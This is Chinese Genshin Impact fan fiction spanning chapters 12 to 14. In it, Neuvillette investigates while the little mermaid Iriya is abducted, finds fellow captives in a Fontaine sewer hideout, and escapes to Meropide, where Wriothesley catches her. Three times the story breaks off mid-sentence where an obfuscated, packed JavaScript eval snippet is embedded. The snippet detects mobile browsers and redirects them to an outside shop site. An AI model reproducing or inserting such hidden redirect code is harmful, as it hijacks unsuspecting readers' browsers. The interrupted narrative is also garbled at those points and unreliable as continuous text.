但不知为何,到了下半夜,特诺法兰反而不急了,一副蛮无所谓,悠哉悠哉的大爷模样坐在餐厅里,还吃了不少第二天给水神芙宁娜会客时准备的茶点。 至此,夏沃蕾明白,终究是棋差一招,消息已经被特诺法兰用特巡队没有察觉到的法子,给递出去了。 那维莱特想借此案,打对方一个措手不及,从而顺藤摸瓜,把这上下一条线揪出来的计划,就此宣告破灭。 他一早收到夏沃蕾的汇报,脸上虽然没什么表情,看不出喜怒,却也没对此多说什么,只翻阅核对了所需资料手续,签下批捕令,然后把这个案子的庭审排序,提到了最前面。 今早八点,开庭,定案。 所以实际上,那维莱特早晨根本没有,也来不及细看案件,整个案件的程序在符合枫丹法律的情况下,将时间压到了最短,很是匆忙。 刚好,他中午回来的时候,赛德娜带伊芮娅出门了。那维莱特就趁此空闲,翻开了特诺法兰的资料,算是将看的流程给补起来。 风卷着夏日的暖,晃头晃脑地从半掩的窗户中探进头来,调皮地拨弄着书页。 那维莱特好脾气地起身,一手撑着桌子,伸手把窗子关上。 重新坐下,他合上面前的案卷。夏沃蕾负责的内容没有问题,反倒是…… 他的视线落在放在一侧,被风卷开的那一页上。 那是特诺法兰的档案。 那维莱特眸光一凝,脑海中闪过弗蕾丝和福卡达。 昨日的两位死者,一个在档案馆工作,一个被夏沃蕾发现档案造假。 想到这里,那维莱特拿起了特诺法兰的档案,逐行查看。 他的履历堪称完美,无可挑剔。 而这个评价,似曾相识。 就在那维莱特打算细究特诺法兰的每一条经历的时候,敲门声响了。 他放下档案,起身开了门。入目,只见赛德娜垂着头。 “那维莱特大人……”她有些难以启齿,声音极小,“对不起……伊芮娅被我弄丢了。” 那维莱特微愣,侧身让她进来坐下,给她到倒了一杯水。 “我可以感应到源水之滴的具体位置,你无需太过自责。”那维莱特用尽可能温和的语气,问道,“同我说说当时的情况好吗?” 赛德娜点点头,把她带伊芮娅出门后发生的事情,一个细节不落,一五一十地全部说了一遍。 谈及等在翠斯塔门口时,陡然刮过的那股妖风,那维莱特眉头微蹙,沉思片刻,很快心中有了判断。 “那维莱特大人,伊芮娅会没事的,对吗?” “是的,赛德娜。除了我,没有人可以破开源水之滴,它在里面很安全。” 那维莱特笑得温柔,肯定的语气安抚了赛德娜。 “至于那股妖风,应当是有风元素神之眼的人,使用风元素之力,将源水之滴带走了。” 赛德娜恍然大悟,拍了拍自己的脑门,懊恼道:“对,对,正是风元素力。正午向来无风,这风突然出现又消失,我之前怎么就没想到这一点呢?” 语罢,她跳下沙发,“我去现场再探查一遍……” “比起伊芮娅,赛德娜……”那维莱特打断了她,严肃道,“我更希望你现在,即刻去确认翠斯塔的安全。” “啊?”赛德娜怔在原地,很快意识到了什么,夺门而出。 赛德娜走了,四下无人,那维莱特几乎是在一瞬间沉下脸,靠上椅背。 方才还在门口,他就已经分心,尝试感应过源水之滴。然而,他却没能准确地感知到它的下落。 源水之滴应该位于一个元素能量极其混乱的地方,以至于那维莱特只能确定它仍旧存在且没有破裂,但也仅仅如此了。 他翻掌,掌心向上,又试着感应了几次,均与头回结果一致,无一例外。 暂且抛开不为世人所知的伊芮娅来看,源水之滴是因为人为原因失踪,极大可能是被人蓄意盯上,抢走了。 既然是人,做这一件事肯定是有自己的目的。 源水之滴昨日先后跟在他和芙宁娜身边,今早在赛德娜手上遗失。 而掠夺者的目光,应当不在赛德娜身上,否则为何不直接对她出手;谈及芙宁娜,纵观过去,在已知的历史上,还从没有人类,敢对神明心存妄念,所以也不会是她。 所以,对方的目标,只会是他自己。 所思及此,那维莱特缓缓阖眸,脑海中开始一帧一帧回忆起源水之滴在他身边的画面。 在前往灰河的路上,福卡达曾对它多次侧目,且问过源水之滴。 又是福卡达…… 那维莱特薄唇紧抿,想到他的死状,不由担心起了伊芮娅。 不过,还好。目前的提瓦特,只有手握七种元素权柄的七位神明,才拥有着超越元素龙的实力,才能破开他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“整个事件的起点在灰河,刺玫会对灰河比较熟悉,而且近来对失踪案件颇为重视。这是刺枚会现在的地址,或许你可以去寻求他们的帮助。” “刺枚会整体实力不俗,你跟在她们身边,安全也有所保证。”说完,那维莱特迟疑片刻,补充道:“尽量不要与刺玫会提到我。” “好的,那维莱特大人。”赛德娜牢牢记住纸条上的地址,然后把它放到口袋里,与他辞别。 关上门,屋内再次只剩下了那维莱特一龙。 他走到窗前,看着枫丹廷。天上的红日渐渐被厚重的云层遮挡住,原先明亮的街道此刻放佛蒙上了一层灰蒙蒙的纱布。 恍然间,那维莱特想到昨日,他也是这么站在办公室的窗前,伊芮娅趴在桌面上“咿咿呀呀”叫唤个不停。 他倍感无奈,想回身走过去,问它怎么了。 不料,他一转身却看见伊芮娅抬起尾巴,用宽大的浅银色尾鳍,给他比了一个有些抽象的爱心。紧接着,它伸出两指手指,在脸颊旁划了一道弯弧。随之,它稚嫩的脸庞上绽放出一个璀璨的笑颜。 那维莱特知道,伊芮娅感受到那时他心情不好,所以在尽自己所能,笨拙地安慰他。 而现在,不过十二个小时,伊芮娅却被人带走,不知所踪。 那维莱特再一次尝试感应源水之滴的下落,但一如之前,可以说是毫无用处。 这时,阴沉的厉害的天空骤然响起一声闷雷。 那维莱特的身躯微微一震,徐徐松开垂在身侧紧握的手。 他现在必须要冷静下来,将从昨天开始,发生的这一切,耐心细致地梳理一遍。 伊芮娅需要他。 12.Chapter 12 7.3 Wednesay 中午天阴 — 灰河 — 一个小时前。 众所周知,枫丹廷的下方是灰河。源水之滴沿着灰河的红锈管道一路往下掉。 “叮……咚……” “嘭……嗡……” 先是源水之滴不断在铁质的水管上弹跳碰撞,而其所过之处,铁管受力不断产生细小的振颤,二者发出两种截然不同的声响,在空旷的地下相互交织,悠悠回荡。 刚开始的时候,伊芮娅慌乱的情绪暂时压抑住了害怕的心理,双手撑着球壁顶端,尾巴不断摆动,想向让源水之滴尽可能停下,再不济让下落的速度慢一点,碰撞的力度小一点。 这么一路乒铃乓啷往下坠,它担心源水之滴万一刚好撞在尖锐的地方,会像玻璃球一般,“咯嘣”一下,碎了。 然而,人,或者说身为智慧种族的人鱼与人类一样,在长时间处于困境,并且未来充满了未知,而自身持悲观态度,甚至于没有分毫希望的时候,对眼前的苦痛会慢慢失去感知。 心都已经麻木了,自然也就不想再做不知道有没有用的努力了。 换言之,伊芮娅彻底摆烂了,泡在源水之滴里面,宛若一条死鱼,一点力气也不想用,顺着水流上下颠簸。如此一来,它反倒是没再被惯性拖累,磕碰到身上哪里。 这一片在灰河的地界之中比较偏僻,没什么光源,尚且还保有着地下最原始的黑暗。 不过人鱼嘛,最不怕的就是黑了,星海底部才是真的伸手不见五指。 稍微适应了一会,伊芮娅咸鱼翻了个面,无聊地吐起了泡泡。 片刻后,看似无边的黑暗陡然退去,取而代之的,是突然亮起,白得瘆人的冷光。 伊芮娅赶忙闭上眼,心里默数五秒,一点一点重新睁开双目。 没等她观察四周,“咚”一下,源水之滴在经历了漫长而无趣的旅途后,可算是到达了终点。 还好伊芮娅这次反应快,尾巴向上一甩,水流逆转向下的力与惯性维持了短暂的平衡,没再一次撞到球顶。 前前后后这么一番折腾,伊芮娅此刻多少有些狼狈。 原先秀丽的,在水中游动时宛若丝绸般柔顺的微卷银发,现在乱糟糟一蓬,直接从气质柔美梦幻的海月水母,变成了爆炸狮子头。 反观身上穿着的粉色小裙子,除了背后的绑带被晃散,裙面布料上多了些褶皱,整体看上去倒是无伤大雅。 伊芮娅一面“呸呸”,吐出带到嘴里的发丝,一面拨开甩到脸前的长发,藏在裙子下面的鱼鳍不自觉抖了抖。 接着,它双手绕到背后,想把带子重新系好。然而在摸到带子的瞬间,伊芮娅才恍然反应过来,它完全不会自己系带子啊。它尝试着捣鼓了半天,发现怎么都系不上,只能无奈放弃,游到蔚蓝色的球壁边,眨巴着眼睛,打量起了四周。 它掉下来的地方,刨开白的纯正的亮光,是很典型的灰河建筑风格。 这是一个直径约莫五米,由深浅颜色不一的劣质红砖所砌成,呈躺倒圆柱状的巨型下水道。数根被黄锈包裹着的水管固定在砖墙左右,路面两边是砖石垒砌了大约一米高的道路。路的中间则是一条一米半宽的污浊水道,里面流淌着从上方枫丹廷输送下来的废水。 水道上每隔个十几米,都铺设了大小不一、薄厚不同、形状各异的铁皮。它们十分随意地钉合连在一起,组成高低不平的临时道路。 哪怕是脚步再轻的人,只要走在上面,鞋底落在铁板上的动静,都会被相对密闭的下水道放大数倍,步步分明,产生很大噪音。除此之外,行人若是稍有不慎,轻则跘倒,重则失足,狠狠摔入废水道中。 这一出来得蹊跷,又掉到了这么一个鬼地方,伊芮娅不敢轻举妄动,瞪着一对紫眸,圆润的指甲慢慢伸长,变得异常尖锐,有力的尾巴竖得笔直,呈现出人鱼捕猎的战斗姿态,警惕地审视着外界。 过了约莫十多分钟,一个身披拖地黑袍,全脸覆盖着红色面具,只露出一双眼睛的神秘人,出现在水管的一头。 等伊芮娅发现他的时候,他已经无声无息,来到了距源水之滴不足一步的距离。 伊芮娅扬着头,望着从上方落下的阴影,本能地屏住呼吸。 只见戴着黑色手套的手掌停在半空,弯指呈爪状,微微一提。源水之滴被很容易的吸离地面,飘浮在他掌心之中。 下一瞬,伊芮娅感受到一股冰冷的目光,如利刃般从头顶刺下。 它浑身一震,虽说那维莱特说过,没有经过他认定的人,都无法看见源水之滴里面。但伊芮娅还是控制不住地尾巴一甩,紧紧贴着球底。 它面对着黑袍人微隆的胸脯,一摊地铺在球底,看着他手掌抬高至肩,阴寒的视线将源水之滴三百六十度打量了个遍。 这时,伊芮娅听见远处传来了“嗒、嗒、嗒”的脚步声。 “你来了。” 伊芮娅高悬着的心脏与黑袍人的手一同落下。 它大大喘了一口气,闭上双眼,拍了拍胸脯,再睁开眼时,眸光意外落在了黑袍人的手套上。 伊芮娅顺着指尖布料微微塌陷的五指往下看去,从指根到掌心正中的区域,绣有一只海鸥。 海鸥身白羽灰、黄脚赤嘴,一只脚踩在了一条断裂成两截的深蓝色海蛇头上。 “查出这颗球是什么了吗?” 伊芮娅听黑袍人如此问道。 来人一身白袍,看上去比黑袍人矮了半个头,脸上也带着一个与黑袍人一模一样的面具。 “我翻遍了科学院的实验项目,没有找到。近一个月,科学院也没有与那位有过接触。”白袍人微顿,“还要再查吗?” 事到如今,伊芮娅确定了他们看不到自己,也就没这么害怕了。它尾巴动了动,往上游了些,想将他们的对话听得更清楚一点。 它见黑袍人沉思片刻后,说道:“无须。盯着他,我们只需要知道这个球对他的价值。” 白袍人答道:“明白,那位一有动静,我就联系你。” “梅洛彼得堡的行动,准备如何?” “万事俱备。” “明夜零时行动。” 黑袍人吩咐完,伊芮娅眼前一花,被他带着飞快地在下水道中穿梭。 一开始,伊芮娅还尝试努力瞅着路,默默记在心里。后头黑袍人速度实在太快,加上他左拐右扭了七八下,四周景物又差不多,没有什么很明显的地标,伊芮娅彻底被绕昏了头。 最后,黑袍人在一个破旧的,由腐烂的木板搭成的小房子前面停下。 伊芮娅眼睁睁看着他打开了门,然后伸手一抛,把源水之滴丢了进去,然后“嘭”关上了门。 它以为会像方才刚落地时一样,源水之滴还要在平地上滚两圈才会停下。 然而,这一次,源水之滴却稳稳定在了地上。 下一秒,四周地面亮起一圈白光,数道漆黑的锁链宛若蛰伏已久的毒蛇,从中猝然窜出,束缚住源水之滴。 伊芮娅静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12841441|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静等着,等白光消失之后,它迅速打量了一圈。 屋子正中,放着一张六条腿的圆木桌,它是整个屋子里唯一摆放的家具。 伊芮娅对比了一下房间地面的明暗变化,猜想在圆桌上面,应该放了诸如蜡烛、油灯一类的光源。 转过身,它看见斜后方不远处,也有一团锁链。 奈何小人鱼既受限于源水之滴,本身又娇小玲珑,视野范围很有限。无论伊芮娅在源水之滴里怎么调转角度,都只能堪堪看见锁链一米左右的高度。 在它的仔细辨认,认真揣摩下,伊芮娅总算是认出,锁链里面绑着的是一个人的两条腿、一对长得很奇怪的深绿色脚掌,和一搓看着很眼熟的绿毛。 伊芮娅死死盯着绿毛,越看越觉得熟悉,小手拍了拍脑袋,不断将这抹绿和它来提瓦特见过的人进行配对。 从小人鱼被风卷走,它对时间几乎失去了感知。 它感觉自己想了好久好久,才隐约浮现出一个猜测。 伊芮娅又迟疑了许久,在抓了把头发,一根一根数着“去”或“不去”的时候,突然听到肚子传来“咕噜”一声。 它摸了摸扁扁的肚子,总算是下定了决心,不能再无所作为,待在原地坐以待毙了。 于是乎,伊芮娅游到锁链比较稀疏的球顶,先伸出一只手试了试,见外头没什么反应,便小心翼翼地探头出去,很快整条鱼都爬了出来,尾巴撑着上半身,立在源水之滴上面。 没了束缚,它的视线豁然开朗。 “你是……” 突然响起的低哑男声把伊芮娅吓了一跳,差点从滑溜溜的球顶上滚落下去。 “嘶呀呀呀呀……”它指甲弹出来,龇着牙,昂头张牙舞爪地冲着声音来源,身后的尾鳍却已经重新没入源水之滴。 然而,伊芮娅这一副奶凶奶凶的模样,在看见被吊在铁链上的翠斯塔后,立马就收了起来。 翠斯塔闭着眼睛,被眼前的陌生男人抱在怀中,脖子上绕了好几圈锁链。 看到这一幕,伊芮娅简直不敢去想,若是男人松手,翠斯塔会怎么样。 “啐啐,啐翠,翠翠!”它指着翠斯塔,尽可能扯着嗓子叫了几声,想叫醒她。 “你认识翠斯塔?”男人眯着眼睛,注视了伊芮娅好一会,问道。 伊芮娅摇摇头。 男人一愣,目光从小人鱼身上滑过,落在最里侧的墙角,换了个问题:“你有尾巴,能在水里游吗?” 伊芮娅摇了摇头。 男人久久没有说话,半响后,又问:“你父母……或者主人,知道你失踪了吗?” 伊芮娅猛猛摇头。 这下,不知名的男人,彻底陷入了沉默。 伊芮娅等了一会,没听他继续问,揉着肚子,“饿。” 男人低低叹了一声,回道:“这里没有吃的,你右后方墙角底下,有一小池活水,可以喝。” 语罢,他闭上眼睛,阖眸养息。 而伊芮娅,听到“活水”两个字,眼底亮起一抹璀璨的星光。 它望了望源水之滴下方的高度,目测了一下,好像有一点点高。 但伊芮娅很相信自己尾巴。 她深呼吸一口,闭上眼就往下跳。 完美且无伤落地。 然后伊芮娅趴下身子,双手撑着,尾巴蹭着,一点一点往前挪。 没一会,它再一次听到男人说话。 “爬反了。” 伊芮娅顿时僵在了原地…… 13.Chapter 13 7.3 Wednesay 午后降雨 伊芮娅低着头,眼睛黏在地上,尾巴尖泛起淡淡的粉色。 它一声不吭,默默头尾调转了方向,接着往前爬。 爬着爬着,没过多久,它又偏离了方向。 男人欲言又止,看见它身上的拖尾长裙堆在了鱼尾巴右边,低叹一声,“在你裙摆的方向。” 小人鱼撑起身子,左右扭头找到裙摆,仰头冲着他礼貌地笑了一下。 “咿呀~” 「谢谢你呀~」 然后它趴下身子,继续在地上蠕动。 男人被关在这里已经三日有余,这期间非但没有进食,还托着翠斯塔快两日。 他重新阖眸,呼吸放缓,没一会,他又睁开眼睛,关注着伊芮娅的动向。 “往圆桌所在的方向,水平移动……”男人话头微顿,眯眼估算了一下距离,再结合伊芮娅扑腾一回有多远,给出“三次”这样一个相对精确的量词。 伊芮娅很听话,往右手边扑腾了三下。 “看见角落的木箱了吗?往那个方向走。” …… “又稍往左偏了。” “你方向感不是很好,抬头,双眼盯着木箱,不要低头看下面。” …… “对,就是这样,一直往前。” “你做得很好,特别棒。” …… 约莫过了十分钟,伊芮娅在男人的指挥与鼓励下,终于挪到了小水潭旁边。 “当心些,别掉进去。”男人语气冷淡,字句精简,但听起来却又给人一种温柔的感觉。 “吼呀!”伊芮娅也不管被锁链束缚住的男人能不能看见,尾巴立起,冲着他的方向拍了拍胸脯,接着“噗通”一声,跳进了小水潭。 男人听到水花溅起的声音,微微一怔,几乎是下意识抬脚,想赶过去把这条长着尾巴,却不会游泳的鱼给捞出来。 然而,男人怀里护着的翠斯塔,和从脚腕开始,一圈一圈绑到膝盖的锁链,双重枷锁,禁锢了他的脚步。 他别开头,眼皮子耸塌下来,碧绿的瞳孔稍带几分怨恨地俯视着隐藏在半昏半明烛光中的锁链。 少顷,安静的小屋内,“哗啦”一声骤响。 男人飞快转眸望去,触目既是伊芮娅高高伸着手,将小半片贝壳脆片举过头顶。肉粉色的贝壳上,还堆着一团乌黑的,不知名的物体。 看见小人鱼毫发无伤地从水里出来,男人蓄着胡须的脸上,罕见地出现了一闪而过的复杂神情。 有了方才的经验,伊芮娅这一回学会了,全程盯着目标物,右手拖着贝壳,单手匍匐前进。 贝壳本就分量不轻,加之上面又放了一坨浸满了水的海藻球,伊芮娅是连推带拽,折腾了好一会,才堪堪把贝壳拖到男人脚边。 男人全程望着它的举动,此刻分外不解,问道:“怎么了?” 伊芮娅靠在贝壳上,背对着男人摆摆手,狠狠喘了口气。等稍稍缓过来后,它伸手从海藻球里撕下一小条,塞到嘴里,草草嚼了几下,立马就咽了下去,小巧的粉舌头还耷拉了出来,伸手往上面扇了扇风。 “哧呀~” “这些……”男人话音暂顿,认真辨认片刻,“这团海草可以食用?” 伊芮娅又把贝壳往他的脚边推了推,欢快地“咿呀”一声,然后很大幅度地摇了摇头,又揪出一小条海藻吃进肚子。 这下子,便是再蠢再笨的人,也回过味儿了。 男人对小人鱼郑重地道了谢,继而托着翠斯塔的那只手,就着近似于公主抱的姿势,轻轻在她背上拍了几下。 “翠斯塔小姐,醒醒。” 约莫三四分钟,从伊芮娅拼命抬着头的视角里,可以清楚地看见翠斯塔海绿色的小尾巴动了动。 “翠翠醒呀!”伊芮娅十分高兴。 男人等了片刻,待翠斯塔迷朦而又浑浊的双眼逐渐变得清透,才开口说道:“很抱歉在你休息的时候叫醒你,翠斯塔小姐。” “半个小时前,黑袍将一条不足小臂长的半人半鱼囚禁于此,不知何种原因,锁链没有让它彻底失去行动能力。她像是与你相识,并且给你找了半贝壳可食用海藻带回。” 翠斯塔上半身动了动,想要坐起来,却浑身上下虚软无力。于是她只好侧过头,斜躺着往下扫过一眼。但是伊芮娅在男人的脚边,翠斯塔这么找,什么都没看到。 男人看出她的想法,抱着她的双手稍微调整了一下姿势。 这下子,在翠斯塔视野的边缘处,如愿晃过一抹银白。 她想了想,有气无力地问道:“伊芮娅?” 还好,这里安静到称为一片死寂都分毫不为过。若是这里的木桌上,突然凭空变出一杯枫丹人最爱的枫达,只怕光是气泡“咕噜咕噜”的小动静,都足以将翠斯塔虚弱至极的声音完全掩盖。 “咿呀!” 伊芮娅往后退了退,方便翠斯塔看向它。 然而,翠斯塔完全不敢相信眼前这一幕,惊道:“你怎么……怎么会在这?” 这个问题可算是问到点子上了,伊芮娅嘴一扁,忧郁长叹,湿乎乎的头顶,都快要难过地长出蘑菇来了。 “哈呀呀呀……”它指了指不远处的源水之滴,讲述起它这一路上的非凡经历。 “咳,很抱歉……小鱼。”男人蓦然出声,打断了伊芮娅的表演,“翠斯塔小姐现在很虚弱,需要吃点东西。” 紧接着,男人腾出一只手,抚到腰间,“嗖”的抽出一把长剑。 他握着剑,用剑尖对着贝壳翘起的边缘一击,贝壳成功被他掀翻了个面儿,盛在上面的海藻团顺着力道翻转飞出。 剑尖一移,稳稳当当的接住了它,而后又是一抖一挑,海藻团被宝剑往上一抛,落到翠斯塔胸前。 “翠斯塔小姐,形势如此,我只能用剑将它递上来。”男人反手收了宝剑。 他见翠斯塔直接拿起海藻团,先是将它一分为大小不一的两份,之后握着小的那团,没忍住咬了一口。 男人一愣,急忙出言制止:“加布里埃尔是我骑士荣誉的象征,我能保证它的圣洁与纯净。但……我仍旧想建议你,褪去海草外层再行食用。” “啊,没有关系,我看过了,海藻团很干净。谢谢你,塞勒洛斯先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903465|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。”翠斯塔咽下去,笑着说道,“也非常感谢伊芮娅,这里环境恶劣,你帮我和塞勒洛斯先生找来这么美味的海藻团,路上一定很辛苦。” “咿呀~”伊芮娅不好意思地双手捂住小脸,耳朵尖尖变得通红。 反观塞勒洛斯,听见这话,神情变得有些奇怪,“莫非大的这一份,是翠斯塔小姐留给我的?” “是的。”翠斯塔点点头,举起大的海藻团,送到塞勒洛斯嘴边,“伊芮娅也是这么想的。” 伊芮娅连连摇头附和,“嘶呀嘶呀。” 塞勒洛斯垂眸,沉默片刻后,像是下定了某种决心,低声说了句“谢谢”,就着翠斯塔的手,将海藻团吃了。 伊芮娅的小手遮住眼睛,视线偷偷从指缝里钻出去,瞧着塞勒洛斯突然僵住的脸,和哽着脖子艰难吞咽的模样,慌忙背过身,捂着嘴,小声笑了出来。 声音不大,但是两人都听见了。 “不好意思,塞勒洛斯先生,我忘记和你说了。”翠斯塔吃了东西,多少恢复了些气力,精气神一下好了不少,“美露莘的味觉和人类不太一样,这种海藻团是我们一族很喜欢的营养餐点,但人类吃……口感不太好。” “我觉得还行。” 说是这么说,但在翠斯塔看不见的上方,塞勒洛斯笑得有些勉强。 接下来,伊芮娅拖着贝壳,又下水了几次。虽然身上的新衣服已经被磨得不成样子,但好歹不用饿肚子。 虽然现实处境依然不妙,但一鱼一人一美露莘,三个不同物种的生灵在困境中一起分享了食物,不说填饱肚子,最起码给胃垫了个底,总归是有了撑下去的动力与希望。 伊芮娅最后一次下水捞海藻团的时候,顺着水流,往外游远了一点,在穿过一处狭小的隧道后,眼前豁然开朗。 湛蓝的水面上,倒映出瑰丽的枫丹廷。 伊芮娅兴奋极了,猛地扎回水里,游回去,同塞勒洛斯和翠斯塔比划了这个好消息。 翠斯塔反应了一会,大致明白了伊芮娅的意思,说道:“如果我没猜错,应该归属于灰河的地界。” 伊芮娅摇头肯定。 “灰河,若是从水路走,永远到不了枫丹廷。” “啊呀……”伊芮娅以肉眼可见的速度,一条生机勃勃的活鱼瞬间变成了腌菜鱼。 先前轻松的气氛,顿时压抑了不少。 塞勒洛斯不熟悉枫丹,便没有插嘴。 “灰河以南,可以去到海沫村;往北走,则是梅洛彼得堡。”翠斯塔思索了一会,有些犹豫道,“或许……可以去梅洛彼得堡试上一试。” 伊芮娅歪着脑袋,总觉得这个名词有点耳熟。 翠斯塔解释道:“掌管梅洛彼得堡的公爵大人口碑很好,而且平日里与那维莱特大人交情不错。同时梅洛彼得堡的护士长,也就是希格……” “啊呀呀呀!”伊芮娅爆发出一声尖啸。 它想起来了,那天来给她看病,手里拿着超级针筒的美露莘,说过她要回梅洛彼得堡。 小人鱼小脸一板,眉毛皱成一团,“吥呀吥呀。” 「我绝对!绝对!不去梅啥啥啥堡!」 14.Chapter 14 7.3 Wednesday 暮色细雨 伊芮娅肩膀无力垂下,苦大仇深地叹了一声,慢吞吞挪到诡异小屋右边角落的小水潭边。 “噔喔呀~” 说完,它尾巴一拍,跃进水潭,往下潜游约莫三十米,两侧石壁骤然向内回收,形成了一条直径只有七厘米,就比小人鱼大了一小圈、内壁光滑而规则,看上去不像是自然之力可以造就的圆柱形隧道。 隧道短而陡,整体呈现出斜向上的爬升趋势,在它的尽头,则是一片石笋与石柱交错林立的海下溶洞。 从光线穿透水面,折射在乳石之上的斑驳光影判断,这个溶洞的位置距离水面已经不远了。方才伊芮娅便是一路薅海藻团,顺着水道来到此地。 它在里面游了一圈,本意是继续找些吃食,没承想,却意外发现了溶洞的出口,沿着光很轻松地游到了水面。 枫丹这一块的海域不算复杂。 伊芮娅从水底随便扯了一片叶子,顶在头上,浮到水面,望向不远处高大的枫丹廷。 雨细细密密地落着,海风吹了又吹,载着颗颗晶莹剔透的雨滴想溜进城内,却被枫丹廷坚不可摧的外壁无情挡下,沦落为洗刷灰尘污垢的废水,汇入通往灰河的下水道中。 那耸入云霄的,乳白色的,通体采用大理石修葺的城墙,看上去是多么地高贵,仿佛一个圣洁的神女,双手托着天秤,俯瞰世间。 伊芮娅甩了甩尾巴,收回目光,选取金黄色的沙滩作为参照,按翠斯塔口述的路线,顺着海岸往西北方向游。 灰河隶属枫丹廷区,这一片陆地占了大头,海域并不算复杂,且与梅洛彼得堡所在的黎翠区海域相邻。 小人鱼一路向北,穿过塔拉塔海谷,从黎翡区七天神像的断桥下游过没多久,就已远远望见了一林与海底格格不入的蒸汽管道。 伊芮娅一个管道,一个管道找过去。 终于,在它查看到已是两只手都数不过来的第N个管道时,一个巨大的,尚未补好的圆形豁口静静藏在海草丛中。 伊芮娅咬咬牙,一股脑扎下去,好一会才游到尽头。 水渐渐变浅,它从水里冒出个头,四周环顾了一圈,如愿看见了翠斯塔给它描述的,十分酷似灰河的铁管铁皮建筑风格。 没等它高兴,高出水面一米有余的岸边上,突然响起激烈的争执声。 伊芮娅被骤响的吼声和山洞层层叠叠的回音给吓了个激灵,赶忙没入水中,悄悄往后游了几米,藏在水里,悄悄打量着岸上。 上头除了站着一红一白,正在对峙的两人,地上还躺着不知死活,一动不动的两个人。 “我和你说过不止一次!莱欧斯利不是那么好糊弄的!” “这两人的身高体型都与他们一致,已经是我能找到最像的两个人了。给他们戴上人皮面具,分不出差别。” “日后可以,明晚绝对不行。” “你想想办法。” …… 伊芮娅听了一会,又瞅了瞅两人的衣服,认出其中的一个声音是中午在灰河见过的白袍人。 它往下潜了几寸,慢慢摸过去,绕到岸边,背靠岩石,躲到两人脚下。 “红袍,这是黑袍的命令。你别忘了,没有黑袍,我们何来今日?” 话落,昏暗的山洞里一荡一荡重复着白袍的最后一句质问之辞。 红袍人弯腰,一手揪起一个人,拖走,丢下一句,“随你们。” 白袍人背过身,在原地站了许久,最终幽幽叹了一声,迈入水中。 伊芮娅怕两人折回来,原地不动,很有耐心地等了一会。 估摸着两人都已经走远了,它游到岸低的地方,爬上岸,立起身子,混在水草丛里,开始思索它要怎么在一个没有水,全是陆地的地方找到希格雯。 对于一条鱼来说,靠在地面上爬来爬去移动,可不是什么好主意。 没办法,伊芮娅垂下头,重新回到水里,打算原路游回去,重新再找一个入口。 它尾巴甩了两下,水面荡漾出一圈圈波纹。 可为何它还在原地? 伊芮娅尾巴又扑腾了两下,斜眼一瞥,自己仍在长满了水草的岸边。 “嚯~看着一小只,力气倒是挺大。” 伊芮娅僵硬地一点一点抬起头,对上一双冰蓝色的眼眸。 在他瞳孔的倒影里,小人鱼看见他两指捏住了自己身上粉色裙子塌拉下来的绑带。 完蛋,被人发现,还被逮住了! 下一瞬,伊芮娅尾巴拼命摆动,一股劲往前面游,原本平静的水面被它搅得水花四处乱溅。 莱欧斯利“啧”了一声,拇指抹去飞到脸上的水珠,瞄准了手指一松,又一合,揪住了小人鱼银色的尾鳍,而后起身一提,将伊芮娅整条鱼就这么尾冲天,头朝地,从水里拎出来了。 话到嘴边,还没来得及说出口,洪亮的哭声响彻废弃的山洞。 “呜呜呜……” 伊芮娅泪珠大滴大滴往下掉,一副可怜巴巴的模样。 “哈?这么容易哭,我还什么都没做。”莱欧斯利眉尾一挑,想把小人鱼放到手心里。 他揪着鱼尾的两根手指刚一松开,虎口处就被伊芮娅“啪叽”甩了一尾巴。 伊芮娅借着这股推力,从他手心跳回了水里。 莱欧斯利注视着水花消失的地方,揉了揉发麻的右手,“呵,倒是有些小聪明,跑挺快。” “小家伙,我好意提醒你一句。在梅洛彼得堡的水底,可是有不少大型食肉生物。”语罢,莱欧斯利瞄到水面上一鼓一鼓,冒出一连串的小泡泡。 伊芮娅逃到水里缓了口气,很快又浮起,隔着薄薄一层水面,大着胆子观察莱欧斯利。 岸上,那个不由分说,很没有礼貌,直接拎它鱼尾巴的男人,乌黑的头发里面夹了几缕灰,银黑色的耳钉,脖子上先是黑绷带,下面是一条斯斯文文的红领带…… 他这一身打扮,真的好像翠斯塔给它描述的公爵大人。 伊芮娅见莱欧斯利抱着手,站在原地等了一会,之后抬步就想走,赶忙翘起尾巴,浅银的尾鳍还冲他招了招,头还在水里,弱弱叫了一声。 然而,那人一动不动,好像已经对它的尾巴失去了兴趣。 伊芮娅又卖力抖了抖漂亮的尾鳍,那人还是没反应。 它有些不开心,但想到是自己有求于人,刚刚没认出人,还扇了他一尾巴,心里那股委屈的劲儿立马消了个干净。 伊芮娅收了尾巴,头冒水面,两只小手绕到脖子后面,解开项圈,双手捧给他,“咿呀。” 它必须要尽快回到那维莱特身边,请他去救塞勒洛斯和翠斯塔。 “哟,现在又想让我把你拎上来了?” “咿呀~”见莱欧斯利不为所动,伊芮娅握着珍珠颈圈往前游,来到岸边,紫眸瞪得溜圆,腮帮子鼓起来,两只手指一戳一戳,开始鱼类卖萌。 莱欧斯利盯着看了一会,单膝跪地,探手把它捞起来,评价道:“所以,你是一条金鱼?” 